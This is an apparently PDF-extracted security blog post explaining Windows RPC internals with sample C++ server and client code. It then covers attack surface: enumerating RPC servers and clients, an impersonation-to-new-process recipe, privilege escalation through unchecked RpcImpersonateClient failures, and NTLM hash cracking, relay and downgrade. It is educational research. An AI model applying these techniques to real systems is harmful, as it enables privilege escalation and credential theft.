Microsoft based it on Named Pipes. As we’ll see in a moment (section RPC Protocol Sequence) when implementing routines with RPC the developer needs to tell the RPC library what ‘protocol’ to use History for transportation. The original DCE/RCP standard already had dened ‘ncacn_ip_tcp’ and ‘ncadg_ip_udp’ for TCP and UDP connections. Microsoft added ‘ncacn_np’ for their implementation based on Named Pipes (transported through the SMB protocol). RPC is a client-server technology with messaging architecture similar to COM (Component Object Model), which on a high level consists of the following three components: >> A server & client process that are responsible for registering an RPC interface and associated binding information (more on this later on) >> Server & client stubs that are responsible for marshalling incoming and outgoing data >> The server’s & client’s RPC runtime library (rpcrt4.dll), which takes the stub data and sends them over the wire using the specied protocol (examples and details will follow) A visual overview of this message architecture can be found at https://docs.microsoft.com/en-us/windows/win32/rpc/how-rpc-works as shown below: Later on, in section RPC Communication Flow, i will provide an overview of the steps involved from creating an RPC server to sending a message, but before we can dive into that we need to clarify a few RPC terminology bits. Bare with me here while we dig into the insides of RPC. The following things are essential to know in order to to get along with RPC. If you get lost in new terms and API calls that you just can’t get in line you can always jump ahead to the RPC Communication Flow section to get an idea of where these thing belong in the communication chain. The RPC Protocol Sequence is a constant string that denes which protocol the RPC runtime should use to transfer messages. This string denes which RPC protocol, transport and network protocol should be RPC Messaging RPC Protocol Sequence used. Microsoft supports the following three RPC protocols: >> Network Computing Architecture connection-oriented protocol (NCACN) >> Network Computing Architecture datagram protocol (NCADG) >> Network Computing Architecture local remote procedure call (NCALRPC) In most scenarios where a connection is made across system boundaries you will nd NCACN, whereas NCALRPC is recommended for local RPC communication. The protocol sequence is a dened constant string assembled from the above parts, e.g. ncacn_ip_tcp for a connection-oriented communication based on TCP packets. The full list of RPC protocol sequence constants can be found at: https://docs.microsoft.com/en-us/windows/win32/rpc/protocol-sequence-constants. The most relevant protocol sequences are shown below: Constant/Value Description ncacn_ip_tcp Connection-oriented Transmission Control Protocol/Internet Protocol (TCP/IP) ncacn_http Connection-oriented TCP/IP using Microsoft Internet Information Server as HTTP proxy ncacn_np Connection-oriented named pipes (via SMB.) ncadg_ip_udp Datagram (connectionless) User Datagram Protocol/Internet Protocol (UDP/IP) ncalrpc Local Procedure Calls (post Windows Vista via ALPC) In order to establish a communication channel the RPC runtime needs to know what methods (aka. “functions”) and parameters your server offers and what data your client is sending. These information are dened in a so called “Interface”. Side note: If you’re familiar with interfaces in COM, this is the same thing. To get an idea of how an interface could be dened, let’s take this example from my Sample Code: Interface1.idl [ // UUID: A unique identifier that distinguishes this // interface from other interfaces. uuid(9510b60a-2eac-43fc-8077-aaefbdf3752b), // This is version 1.0 of this interface. version(1.0), // Using an implicit handle here named hImplicitBinding: RPC Interfaces implicit_handle(handle_t hImplicitBinding) ] interface Example1 // The interface is named Example1 { // A function that takes a zero-terminated string. int Output( [in, string] const char* pszOutput); void Shutdown(); } The rst thing to note is that interfaces are dened in an Interface Denition Language (IDL) le. The denitions in this will later on be compiled by the Microsoft IDL compiler (midl.exe) into header and source code les that can be used by the server and client. The interface header is rather self explanatory with the given comments - ignore the implicit_handle instruction for now, we get into implicit and explicit handles shortly. The body of the interface describes the methods that this interfaces exposes, their return values and their parameters. The [in, string] statement within parameter denition of the Output function is not mandatory but aids the understanding of what this parameter is used for. Side note: You could also specify various interface attributes in an Application Conguration File (ACF). Some of these such as the type of binding (explicit vs. implicit) can be placed in the IDL le, but for more complex interfaces you might want to add an extra ACF le per interface. Once your client connects to an RPC server (we’ll get into how this is done later on) you create what Microsoft calls a “Binding”. Or to put it with Microsoft’s words: Binding is the process of creating a logical connection between a client program and a server program. The information that composes the binding between client and server is represented by a structure called a binding handle. The terminology of binding handles gets clearer once we put some context on it. Technically there three types of binding handles: >> Implicit >> Explicit >> Automatic Side note: You could implement custom binding handles as described in here, but we ignore this for this post, as this is rather uncommon and you’re good with the default types. RPC Binding Implicit binding handles allow your client to connect to and communicate with a specic RPC server (specied by the UUID in the IDL le). The downside is implicit bindings are not thread safe, multi-threaded applications should therefore use explicit bindings. Implicit binding handles are dened in the IDL le as shown in the sample IDL code above or in my Sample Implicit Interface. Explicit binding handles allow your client to connect to and communicate with multiple RPC servers. Explicit binding handles are recommended to use due to being thread safe and allow for multiple connections. An example of an explicit binding handle denition can be found in my code here. Automatic binding is a solution in between for the lazy developer, who doesn’t want to ddle around with binding handles and let the RPC runtime gure out what is needed. My recommendation would be to use explicit handles just to be aware of what you’re doing. Why do i need binding handles in the rst place you might ask at this point. Imagine a binding handle as a representation of your communication channel between client and server, just like the cord in a can phone (i wonder how many people know these ‘devices’…). Given that you have a representation of the communication chanel (‘the cord’) you can add attributes to this communication channel, like painting your cord to make it more unique. Just like that binding handles allow you for example to secure the connection between your client and server (because you got something that you can add security to) and therefore form what Microsoft terms “authenticated” bindings. Let’s say you’ve got a plain and simple RPC server running, now a client connects to your server. If you didn’t specify anything expect the bare minimum (which i will list shortly), this connection between client and server is referred to as anonymous or unauthenticated binding, due to the fact that your server got no clue who connected to it. To avoid any client from connecting and to level up the security of your server there are three gears you can turn: >> You can set registration ags when registering your server interface; And/Or >> You can set a Security callback with a custom routine to check whether a requesting client should be allowed or denied; And/Or >> You can set authentication information associated with your binding handle to specify a security service provider and an SPN to represent your RPC server. Let’s look at those three gears step-by-step. First of all when you create your server you need to register your interface, for example with a call to RpcServerRegisterIf2 - I’ll show you where this call comes into play in section RPC Communication Flow. As a fourth parameter to RpcServerRegisterIf2 you can specify Interface Registration Flags, such as Anonymous & Authenticated Bindings Registration Flags RPC_IF_ALLOW_LOCAL_ONLY to only allow local connections. Side note: Read this as RPC_InterFace_ALLOW_LOCAL_ONLY A sample call could look like this: RPC_STATUS rpcStatus = RpcServerRegisterIf2( Example1_v1_0_s_ifspec, // Interface to register. NULL, // NULL type UUID NULL, // Use the MIDL generated entry-po int vector. RPC_IF_ALLOW_LOCAL_ONLY, // Only allow local connections RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurren t calls. (unsigned)-1, // Infinite max size of incoming d ata blocks. NULL // No security callback. ); Next on the list is the security callback, which you could set as the last parameter of the above call. An always-allow callback could look like this: // Naive security callback. RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE hInterface, void* p BindingHandle) { return RPC_S_OK; // Always allow anyone. } To include this Security callback simply set the last parameter of the RpcServerRegisterIf2 function to the name of your security callback function, which in this case is just named “SecurityCallback”, as shown below: RPC_STATUS rpcStatus = RpcServerRegisterIf2( Example1_v1_0_s_ifspec, // Interface to register. NULL, // Use the MIDL generated entry-po int vector. NULL, // Use the MIDL generated entry-po int vector. RPC_IF_ALLOW_LOCAL_ONLY, // Only allow local connections RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurren t calls. (unsigned)-1, // Infinite max size of incoming d ata blocks. SecurityCallback // No security callback. ); This callback function can be implemented in any way you like, you could for example allow/deny connections based on IPs. Security Callbacks Authenticated Bindings Alright we’re getting closer to the end of the RPC terminology and background section… Stay with me while we dig into the last concepts. As I can feel the pain to follow up for people who are new to all these terms, let’s take a moment to recap: Okay so far you should know that you can create implicit and explicit interfaces and use a few Windows API calls to setup your RPC server. In the previous section I’ve added that once you register your server you can set registration ags and (if you want to) also a callback function to secure you server and lter the clients who can access your server. The last piece in the puzzle is now an extra Windows API that allows the server and client to authenticate your binding (remember that one of the benets of having a binding handle is that you can authenticate your binding, like ‘painting your cord for your can phone’). … But why would/should you do that? Authenticated Bindings in combination with the right registration ag (RPC_IF_ALLOW_SECURE_ONLY) enables your RPC Server to ensure that only authenticated users can connect; And - in case the client allows it - enables the server to gure out who connected to it by impersonating the client. To backup what you learned before: You could as well use the SecurityCallback to deny any anonymous client from connecting, but you would need to implement the lter mechanism on your own, based on attributes you control. Example: You wouldn’t be able to determine if the client is for example a valid domain user, because you don’t have any access to these account information. Okay so how do you specify an authenticated binding? You can authenticate your binding on the server and on the client side. On the server side you want to implement this to ensure a secured connection and on the client side you might need to have this in order to be able to connect to your server (as we’ll see shortly in the Access Matrix) Authenticating the binding on the Server side: [Taken from my example code here] RPC_STATUS rpcStatus = RpcServerRegisterAuthInfo( pszSpn, // Server principal name RPC_C_AUTHN_WINNT, // using NTLM as authentication service provid er NULL, // Use default key function, which is ignored for NTLM SSP NULL // No arg for key function ); Authenticating the binding on the client side: [Taken from my example code here] RPC_STATUS status = RpcBindingSetAuthInfoEx( hExplicitBinding, // the client's binding handle pszHostSPN, // the server's service principale nam e (SPN) RPC_C_AUTHN_LEVEL_PKT, // authentication level PKT RPC_C_AUTHN_WINNT, // using NTLM as authentication servic e provider NULL, // use current thread credentials RPC_C_AUTHZ_NAME, // authorization based on the provided SPN &secQos // Quality of Service structure ); The interesting bit on the client side is that you can set a Quality of Service (QOS) structure with your authenticated binding handle. This QOS structure can for example be used on the client side to determine the Impersonation Level (for background information check out my previous IPC post ), which we’ll later cover in section Client Impersonation. Important to note: Setting an authenticated binding on the server side, does not enforce an authentication on the client side. If for example no ags are set on the server side or only the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH is set, unauthenticated clients can still connect to the RPC server. Setting the RPC_IF_ALLOW_SECURE_ONLY ag however prevents unauthenticated client bindings, because the client can’t set an authentication level (which is what is checked with this ag) without creating an authenticated binding. Last but not least we have to clarify one last important aspect of RPC communication: Well-known vs Dynamic endpoints. I’ll try to make this one short as it’s also quite easy to understand… When you spin up your RPC server, the server registers an interface (as we’ve seen already in the code sample above with RpcServerRegisterIf2) and it also needs to dene on which protocol sequence (e.g. ‘ncacn_ip_tcp’, ‘ncacn_np’, …) it wants to listen to. Now the protocol sequence string that you specify in your server is not quite enough to open a RPC port connection. Imagine you specify ‘ncacn_ip_tcp’ as your protocol sequence, meaning you instruct your server to open up an RPC connection that accepts connections via TCP/IP… but … on which TCP port should the server actually open up a connection? Similar to ncacn_ip_tcp other protocol sequences also need a little more information about where to open a connection object: >> ncacn_ip_tcp needs a TCP port number, e.g. 9999 >> ncacn_np needs a Named Pipe name, e .g. “\pipe\FRPC-NP” >> ncalrpc needs an ALPC port name, e.g. “\RPC Control\FRPC-LRPC” Let’s assume for a moment you specied ncacn_np as the protocol sequence and chose the Named Pipe name to be “\pipe\FRPC-NP”. Your RPC server will happily spin up and is now waiting for clients to connect. The client on the other hand needs to know where it should connect to. You tell your Well-known vs Dynamic Endpoints client the server’s name, specify the protocol sequence to be ncacn_np and set the Named Pipe name to the same name you dened in your server (“\pipe\FRPC-NP”). The client connects successfully and just like that you’ve built a RPC client and server based on a Well-known endpoint… which in this case is: “\pipe\FRPC-NP”. Using Well-known RPC endpoints just means you know all the binding information (protocol sequence and endpoint-address) upfront and could - if you want to - also hardcode those information in your client and server. Using Well-known endpoints is the easiest way to build up your rst RPC client/server connection. What are Dynamic endpoints then and why should one use them? In the example above we choose ncacn_np and just picked any arbitrary Named Pipe name to open our server and that worked just ne, because we knew (well at least we hoped) the Named Pipe that we’ve opened up with this name didn’t already exist on the server side, because we just made a name up. If we now choose ncacn_ip_tcp to be the protocol sequence how do we know which TCP port is still available for us? Well we could just specify that our program needs port 9999 to be functional and leave it to the Admins to ensure that this port is unused, but we could also ask Windows to assign us a port that is free. And that is what Dynamic endpoints are. Easy … case closed, let’s go for beers Wait a minute: If we get assigned a port dynamically, how does the client know where to connect to ?!… And that is the other thing with Dynamic endpoints: If you chose dynamic endpoints you need someone to tell your client what port you got and that someone is the RPC Endpoint Mapper service (started and running by default on your Windows system). If your server is using Dynamic Endpoints it will need to call the RPC Endpoint Mapper to tell it to register its Interface and functions (specied in the IDL le). Once the client attempts to create the binding it will query the server’s RPC Endpoint Mapper for matching interfaces and the Endpoint Mapper will ll in the missing information (e.g. the TCP port) to create the binding. The main advantage of Dynamic Endpoints is to automatically nd an available endpoint-address when the endpoint-address space is limited, as it is the case with TCP ports. Named Pipes and ALPC based connections can also safely be done with Well-known endpoints, because the address space (aka. the arbitrary pipe or port name that you’ve chosen) is large enough to avoid collisions. We’ll wrap this up with code snippets from the server side to nail our understanding of Well-known and Dynamic endpoints. Well-Known Endpoint Implementation RPC_STATUS rpcStatus; // Create Binding Information rpcStatus = RpcServerUseProtseqEp( (RPC_WSTR)L"ncacn_np", // using Named Pipes here RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Ignored for Named Pipes (only u sed for ncacn_ip_tcp, but set this anyway) (RPC_WSTR)L"\\pipe\\FRPC-NP", // example Named Pipe name NULL // No Secuirty Descriptor ); // Register Interface rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples abov e // OPTIONAL: Register Authentication Information rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above // Listen for incoming client connections rpcStatus = RpcServerListen( 1, // Recommended minimum number of t hreads. RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of t hreads. FALSE // Start listening now. ); Dynamic Endpoint Implementation RPC_STATUS rpcStatus; RPC_BINDING_VECTOR* pbindingVector = 0; // Create Binding Information rpcStatus = RpcServerUseProtseq( (RPC_WSTR)L"ncacn_ip_tcp", // using Named Pipes here RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for the nc acn_ip_tcp protocol sequenc NULL // No Secuirty Descriptor ); // Register Interface rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples abov e // OPTIONAL: Register Authentication Information rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above // Get Binding vectors (dynamically assigend) rpcStatus = RpcServerInqBindings(&pbindingVector); // Register with RPC Endpoint Mapper rpcStatus = RpcEpRegister( Example1_v1_0_s_ifspec, // your interface as defined v ia IDL pbindingVector, // your dynamic binding vector s 0, // We don't want to register t he vectors with UUIDs (RPC_WSTR)L"MyDyamicEndpointServer" // Annotation used for informa tion purposes only, max 64 characters ); // Listen for incoming client connections rpcStatus = RpcServerListen( 1, // Recommended minimum number of t hreads. RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of t hreads. FALSE // Start listening now. ); Note: If you’re using Well-known endpoints you could as well register your RPC server with your local RPC Endpoint Mapper by calling RpcServerInqBindings & RpcEpRegister if you want to. You don’t need to do that for your client to be able to connect, but you could. If you want to read more on this, the Microsoft documentation on this topic can be found here: https://docs.microsoft.com/en-us/windows/win32/rpc/specifying-endpoints To wrap up all of the above, the communication ow can be summarized as follows: 1. Server registers Interface(s), e.g. using RpcServerRegisterIf2 2. Server creates Binding Information using RpcServerUseProtseq & RpcServerInqBindings (RpcServerInqBindings is optional for Well-known Endpoints) 3. Server registers Endpoints using RpcEpRegister (optional for Well-known Endpoints) 4. Server can register Authentication Information using RpcServerRegisterAuthInfo (optional) 5. Server listens for client connection(s) using RpcServerListen 6. Client creates a Binding Handle, using RpcStringBindingCompose & RpcBindingFromStringBinding 7. Client RPC runtime library nds the server process by querying the Endpoint Mapper on the server host system (only necessary for Dynamic Endpoints) 8. Client can authenticate binding handle using RpcBindingSetAuthInfo (optional) 9. Client makes an RPC call by calling one of the functions dened in the used interface 10. Client RPC runtime library marshals the arguments in an NDR format with the help of the NDR runtime and send them to the server, 11. The Server’s RPC run time library gives the marshaled arguments to the stub, which unmarshals them, and then passes them to the server routines. 12. When the Server routines return, the stub picks up the [out] and [in, out] parameters (dened in the interface IDL le) and the return value, marshals them, and sends the marshaled data to the Server’s RPC run time library, which transfers them back to the client. RPC Communication Flow As mentioned in the beginning the examples above are taken from my sample implementation, publicly available at: https://github.com/csandker/InterProcessCommunication- Samples/tree/master/RPC/CPP-RPC-Client-Server. In this repo you will nd the following sample implementations: >> Basic unauthenticated Server supporting unauthenticated Implicit Bindings >> Basic unauthenticated Client supporting unauthenticated Implicit Bindings >> Basic Server supporting unauthenticated Explicit Bindings >> Basic Server supporting authenticated Explicit Bindings >> Basic Client supporting authenticated Explicit Bindings without QOS >> Basic Client supporting authenticated Explicit Bindings with QOS An example how these PoCs look can be seen below: Alright if you understood all of the terminology above, here’s the access matrix that visualizes which client can connect to which server. Note: You can only connect an implicit clients to implicit servers, and explicit clients to explicit servers. Otherwise you get an Error 1717 (RPC_S_UNKNOWN_IF) Sample Implementation Access Matrix Finally… after all that talk about RPC internals, let’s talk about RPC’s attack surface. Obviously there could be bugs and 0-days anywhere in the RPC communication chain, which always comes down to a case-by-case analysis to understand its exploit potentials, but there is also some exploitation potential of general RPC design concepts, which I’ll highlight below. Side note: If you are aware of interesting RPC CVEs, ping me at /0xcsandker Okay so before we can think what offensive games we can play with RPC, we need to nd suitable targets rst. Let’s dive into how we can nd RPC Servers and clients on your systems. To recap a server is built by specify the required information (protocol sequence & endpoint-address) and calling Windows APIs to built the necessary internal objects and start the server. With that in mind the easiest way to nd RPC servers on your local system is by looking for programs that import those RPC Windows APIs. One easy way to do that is by using the DumpBin utility that nowadays ships with Visual Studio. A sample Powershell snippet searching through C:\Windows\System32\ on a recent Windows10 can be found below: Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -E rrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Mic rosoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.V ersionInfo.FileName); If($out -like "*RpcServerListen*"){ Write-Host " [+] Exe starting RPC Server: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -Fil ePath EXEs_RpcServerListen.txt -Append } } This snippet prints the names of the executables to console and the entire DumpBin output to the le EXEs_RpcServerListen.txt (so that you can review what DumpBin actually gives you). Attack Surface Finding Interesting Targets RPC Servers Another way to nd interesting RPC servers is by querying the RPC Endpoint Mapper, either locally or on any remote system. Microsoft has a test utility called PortQry to do that (there is also a GUI version of that tool available) that you can use like this: C:\PortQryV2\PortQry.exe -n <HostName> -e 135 This tool gives you some information about remote RPC interfaces that the Endpoint Mapper knows about (remember that Well-known Endpoints do not have to inform the Endpoint Mapper about their interfaces). Another option is to query the Endpoint Manager directly by calling RpcMgmtEpEltInqBegin and iterating over the interfaces via RpcMgmtEpEltInqNext. A sample implementation, named RPCDump, of this approach was included in Chris McNab’s amazing book ‘Network Security Assessment’, O’Reilly published the tool written in C here (according to the comment annotation credits for this code should go to Todd Sabin). I have ported this cool tool to VC++ and made some slight usability changes. I’ve published my fork at https://github.com/csandker/RPCDump. As shown this tool also list the interfaces of the found RPC endpoints, along with some other information. I won’t go into the details of all these elds, but if you’re interested check out the code and read along the Windows API documentation. The stats for example are retrieved by a call to RpcMgmtInqStats, where the values returned are referenced in the Remarks section. Once again remember that there are only the RPC interfaces that are registered with the target’s Endpoint Mapper. Finding clients that connect to remote or local RPC servers might also be an interesting target. There is no single authority that is aware of which RPC clients are currently running, therefore you’re down to two options for nding clients: >> Finding executables/Processes that use client RPC APIs; Or >> Caught clients in the act Finding local executables that import client RPC API is analogous to what we already did to nd servers with DumpBin. A good Windows API to look for is RpcStringBindingCompose: Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -E rrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Mic rosoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.V ersionInfo.FileName); If($out -like "*RpcStringBindingCompose*"){ Writ e-Host "[+] Exe creates RPC Binding (potential RPC Client) : $($_.Vers ionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath EXEs_RpcClients.txt -Append } } RPC Clients The other option to nd RPC clients is by spotting them while they’re connection to their target. One example of how clients can be spotted is by inspecting the trafc that is sent over the wire between two systems. Wireshark has a ‘DCERPC’ lter that can be used to spot connections. An example of a client connecting to a server is shown below: The bind request is one of the things we can look for to identify clients. In the select package we can see a client trying to bind to a server interface with the UUID of “d6b1ad2b-b550-4729-b6c2-1651f58480c3”. Once you identied an RPC server that exposes interesting functionality that could be useful to your attack chain the most obvious thing to check is if you can access the server unauthorized. You could either implement your own client, e.g. based on the my Sample Implementation, or refer to the Access Matrix to check if your client can connect to the server. If you already got heads deep into reverse engineering the RPC server and found that the server sets authentication information by calling RpcServerRegisterAuthInfo with its SPN and a specied Service Provider, be reminded that an authenticated server binding does not enforce the client to use an Unauthorized Access authenticated binding. In other words: Just because the server sets authentication information does not mean the client needs to connect through an authenticated binding. Moreover when connecting to a server that sets authentication information be aware that client calls with invalid credentials will not be dispatched by the run time library (rpcrt4.dll), however, client calls with no credentials will be dispatched. Or to put it with Microsoft words: Remember that, by default, security is optional Source: https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf- rpcdce-rpcserverregisterifex Once you are connected to a server the question of “what to do next?” arises… Well you’re then in a position to call interface functions, the bad news is: You need to identify the function names and parameters rst, which comes down to reverse engineering your target server. If you’re lucking and you’re not looking at a pure RPC server, but a COM server (COM, especially DCOM, uses RPC under the hood) the server might come with a Type Library (.tlb) that you could use to lookup interface functions. I won’t go any deeper into type libraries or anything else here (the blog post is quite long already), but my general recommendation for someone in this situation would be: Take my sample RPC client and server code, compile it and start your reverse engineering journey with sample code you know. In that particular case, let me add another clue: My sample interface has an “Output” function dened in the IDL le, this “Output” function begins with the print statement printf("[~] Client Message: %s\n", pszOutput); , you could for example start by searching for the substring [~] Client Message to gure out where this particular interface function is. Client impersonation also provides interesting attack surface. I’ve already put some light on what Impersonation is and how it works in the last part of the series, if you missed that and need a fresh up on Impersonation you will nd that bit explained in the Impersonation Section of my last post. The recipe for impersonating a client is as follows: >> You need a RPC client connecting to your server >> The client must use an authenticated binding (otherwise there would be no security information you could impersonate) >> The client must not set the Impersonation Level authenticated binding below SecurityImpersonation >> … that’s it The process of impersonation is as easy as: >> Calling RpcImpersonateClient from within your server interface function Note that this function takes the binding handle as input, therefore you need a Client Impersonation Explicit binding server to use impersonation (which makes sense) >> If that call succeeds, the server’s thread context is changed to the client’s security context and you can call GetCurrentThread & OpenThreadToken to receive the client’s Impersonation token. If you’re now like ‘WTF security context change?!’ you will nd answers in the IPC Named Pipe post if you’re more like ‘WTF Impersonation token?!’ you will nd answers in my Windows Authorization Guide >> Once you’ve called DuplicateTokenEx to turn your Impersonation token into a primary token, you can happily return to your original server thread context by calling RpcRevertToSelfEx >> And nally you can call CreateProcessWithTokenW to create a new process with the client’s token. Please note that this is only one way to create a process with the client’s token, but in my eyes it pictures the way of doing these things pretty well and therefore i use this approach here. A sample implementation of this code can be found here. This is by the way the same procedure i used for impersonating Named Pipe clients in my last post. As said in the recipe steps above, you just need a client that connects to your server and that client must use an authenticated binding. If the client does not authenticate its binding that the call to RpcImpersonateClient will result in Error 1764 (RPC_S_BINDING_HAS_NO_AUTH). Finding a suitable client that you can make connect to your server comes down to nding a RPC client (see section Finding RPC Clients) and nding one that you can make connect to your server. Well the later might be the tricky part in this exploit chain and I can’t give general recommendation here on how to nd those connections. One reason for that is because it depends on the protocol sequence used by the client, where an unanswered TCP call might be best detectable when snifng on the wire where an unanswered Named Pipe connection attempt could also be spotted on the client’s or server’s host system. In the 1st part of the series (which was about Named Pipes) I pulled a bigger spotlight on client impersonation, therefore i will safe myself a few words here. However, if you haven’t already done it I would recommend reading up on Instance Creation Race Conditions and also Instance Creation Special Flavors. The same principals apply here. The more interesting aspect is that I intentionally wrote above: “The client must not set the Impersonation Level authenticated binding below SecurityImpersonation* … which sounds kinda like an opt-out process and that’s exactly what it is. Remember that you can set the Quality of Service (QOS) structure on the client side when creating an authenticated binding? As said back in section Authenticated Bindings you can use that structure to determine the Impersonation Level when connecting to the server. Interestingly if you don’t set any QOS structure the default will be SecurityImpersonation, which allows any server to impersonate an RPC client as long as the client does not set the Impersonation Level explicitly below SecurityImpersonation. The result of an impersonation could then look like this: There is another side of impersonation that is often missed, but is not less interesting from an attackers perspective. In part 1 of the series i detailed the steps that are involved when impersonating a client, these equally apply also for RPC impersonations (and in all other similar technologies), where the following two steps are especially interesting: >> Step 8: The server’s thread context is then changed to the client’s security context. >> Step 9: Any action the server takes and any function the server calls while in the security context of the client are made with the identify of the client and thereby impersonating the client. Source: Offensive Windows IPC Internals 1: Named Pipes The server’s thread context is changed and all actions then made are made with the security context of the client. In the above section (and in my sample code) I used that to grab the current thread token, which then is the client’s token and transform that into a primary token to launch a new process with that token. I could as well just called any action i want to do directly, because I’m all ready operating in the client’s security context. Based on the section title you might already guess now where this is heading… what if the impersonation fails and the server does not check for that? Server Non-Impersonation The call to RpcImpersonateClient, the API function that does all the impersonation magic for you, returns the status of the impersonation operation and it is crucial for the server to check that. If the impersonation is successful you’re inside the client’s security context afterwards, but if it fails you’re in the same old security context from where you called the RpcImpersonateClient. Now a RPC server is likely to run as another user (often also in a higher security context) and in those cases it might try to impersonate its clients to run client operations in a lower, presumably safer client security context. As an attacker you could use those cases for privilege escalation attack vectors by forcing a failing impersonation attempt on the server side and therefore causing the server to execute client operating in the higher security context of the server. The recipe for this attack scenario is simple: >> You need a server that impersonates its clients and does not carefully check the return status of RpcImpersonateClient before executing further actions. >> The action taken by the server after an impersonation attempt must be exploitable from your client’s perspective. >> You need to force the impersonation attempt to fail. Finding a local server that tries to impersonate a client is a simple task if you read the previous sections and took note of how to use DumpBin. Finding a server that runs actions in a ‘assumed impersonated’ context which can be used from an attackers perspective is pretty much a creative case-by-case analysis of what the server does. The best advise to analyze those cases is to think outside the box and potentially be prepared to chain multiple events and actions. A rather simple but powerful example could be a le operation conducted by the server; Maybe you could use junctions to create a le in a write protected system path or maybe you could cause the server to open a Named Pipe instead of a le and then use Named Pipe Impersonation to impersonate the server… Last on the checklist is causing the server’s impersonation attempt to fail and that’s the easiest part of the job. There are two ways to achieve this: >> You could connect from an unauthenticated binding; Or >> You could connect from an authenticated binding and set the Impersonation Level of the QOS structure to SecurityAnonymous Either of this actions will safely cause a failed impersonation attempt. This technique is by the way not a new thing, it’s widely known… just forgotten sometimes. Maybe there also is a more fancy name out there for this technique that i haven’t come across yet. Microsoft even especially reminds you of this in the Remarks section (they even gave this a special ‘Securtiy Remarks’ heading) of the RpcImpersonateClient function: If the call to RpcImpersonateClient fails for any reason, the client connection is not impersonated and the client request is made in the security context of the process. If the process is running as a highly privileged account, such as LocalSystem, or as a member of an administrative group, the user may be able to perform actions they would otherwise be disallowed. Therefore it is important to always check the return value of the call, and if it fails, raise an error; do not continue execution of the client request. Source: RpcImpersonateClient: Security Remarks The last two sections cover the fact that RPC can be used as a remote networking communication technology and therefore also comes with an interesting attack surface on the network side. Side Note: I intentionally phrased it this way; Your initially though might have been “Dooough what else do you gonna use a technology called Remote Procedure Call for?!” … But in fact RPC is very well also intended to be used purely locally as a wrapper for ALPC (i get back to this in part 3 of the series once i gured out all the mysteries of ALPC). Anyhow, if you’re using RPC over the wire and you want your binding to be authenticated you will need a network protocol that does the authentication for you. That’s why the second parameter (AuthnSvc) of the RpcServerRegisterAuthInfo, which is the API function you’d call on the server side to create an authenticated binding, let’s you dene which authentication service you would like to use. You could for example specify Kerberos with the constant value of RPC_C_AUTHN_GSS_KERBEROS, or you could specify RPC_C_AUTHN_DEFAULT to use the default authentication service, which is - interestingly enough - NTLM (RPC_C_AUTHN_WINNT). Kerberos was set to be the default authentication scheme since Windows 2000, but RPC still defaults to NTLM. So if you’re in suitable position on the network and see a NTLM connection coming by there are two interesting things you could do with that: >> You could grab the NTLM(v2) challenge response hash off the wire and ofine brute-force the user’s password; And/Or >> You could intercept and relay the NTLM connection to gain access to another system. I don’t want to deep dive into those two topics (if you made it until here you sure have read enough already), so I’ll add just two remarks here: >> NTLM(v2) challenge brute-forcing is very well known, so you should not have trouble nding how to do that. Check out hashcat mode 5600 on https://hashcat.net/wiki/doku.php?id=example_hashes for an example. >> NTLM Relay is very well described by the great Pixis at https://en.hackndo.com/ntlm-relay/. There are a few things to be aware of MITM Authenticated NTLM Connections depending on the protocol used so make sure you check out that post if you’re interested. Last but not least… you nearly made it through this post. Next to NTLM based network authentication schemes, which is what you get if you chose RPC_C_AUTHN_WINNT or RPC_C_AUTHN_DEFAULT as the authentication service in your RpcServerRegisterAuthInfo call, the very often used RPC_C_AUTHN_GSS_NEGOTIATE constant is also an interesting target. If RPC_C_AUTHN_GSS_NEGOTIATE is chosen Microsoft’s Negotiate SSP is used to instruct the client and server to negotiate on their own if NTLM or Kerberos should be used to authenticate users. By default this negotiation will always result in Kerberos if client and server support it. This negotiation can be attacked from an intercepting network position to force the usage of NTLM over Kerberos, effectively downgrading the authentication scheme. The caveat is that this attack requires a suitable network position and missing signatures. I will not dive deeper into this at this point, mostly cause I’ve detailed the process and the attack in an older post here: Downgrade SPNEGO Authentication. By the way the authentication service constants that mentioned here can be found here: https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service- constants. That’s it.. you made it! >> Microsoft’s documentation of RPC: https://docs.microsoft.com/en- us/windows/win32/rpc/overviews >> Jonathan Johnson’s (more defensive focused) Review of RPC: https://ipc- research.readthedocs.io/en/latest/subpages/RPC.html >> Adam Chester’s Review of RPC: https://blog.xpnsec.com/analysing-rpc-with- ghidra-neo4j/ >> A Code Project on how to start programming with RPC: https://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part- 1#Implicitandexplicithandles17 Other Posts MITM Authenticated GSS_NEGOTIATE Connections References Debugging and Reversing ALPC 29 May 2022 Offensive Windows IPC Internals 3: ALPC 24 May 2022 Offensive Windows IPC Internals 1: Named Pipes 10 Jan 2021
pdf
